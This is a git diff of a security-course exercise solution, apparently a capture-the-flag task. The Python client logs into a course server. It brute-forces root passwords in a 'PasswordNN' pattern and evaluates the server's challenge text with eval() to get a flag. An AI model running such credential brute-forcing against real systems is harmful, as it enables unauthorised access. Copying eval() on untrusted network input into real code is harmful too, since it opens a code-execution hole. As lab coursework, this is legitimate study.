solved w2h

week02/hard/client.py

@@ -1,21 +1,51 @@
 import socket
-
+import time
 # Fill in the right target here
-HOST = 'localhost'  # TODO
+HOST = 'netsec.net.in.tum.de'  # TODO
-PORT = ...  # TODO
+PORT = 64984  # TODO
 
+def gen_crends():
+    credentials = "root,Password00"
+    return credentials
 
 def get_flag():
+    credentials  = "root,Password19"
     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
-
     s.connect((HOST, PORT))
     sf = s.makefile('rw')  # we use a file abstraction for the sockets
+    print(sf.readline().rstrip('\n'))
+    sf.write("{}\n".format(credentials))
+    sf.flush()
+    data  = sf.readline().rstrip('\n')
+    print(data)
+    response = eval(data)
+    sf.write("{}\n".format(response))
+    sf.flush()
+    print(sf.readline().rstrip('\n'))
+    flag  = sf.readline().rstrip('\n')
+    return flag
 
-    # TODO
-
-    sf.close()
-    s.close()
 
+def find_port_get_flag():
+    for i in range(100):
+        time.sleep(1)
+        credentials  = "root,Password"+str("%02d" % i)
+        print(credentials)
+        try:
+            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+            s.connect((HOST, PORT))
+            sf = s.makefile('rw')  # we use a file abstraction for the sockets
+            print(sf.readline().rstrip('\n'))
+            sf.write("{}\n".format(credentials))
+            sf.flush()
+            data  = sf.readline().rstrip('\n')
+            answer = eval(data)
+            sf.write("{}\n".format(answer))
+            sf.flush()
+            print(sf.readline().rstrip('\n'))
+        except:
+            pass
+            
 
 if __name__ == '__main__':
-    get_flag()
+    print(get_flag())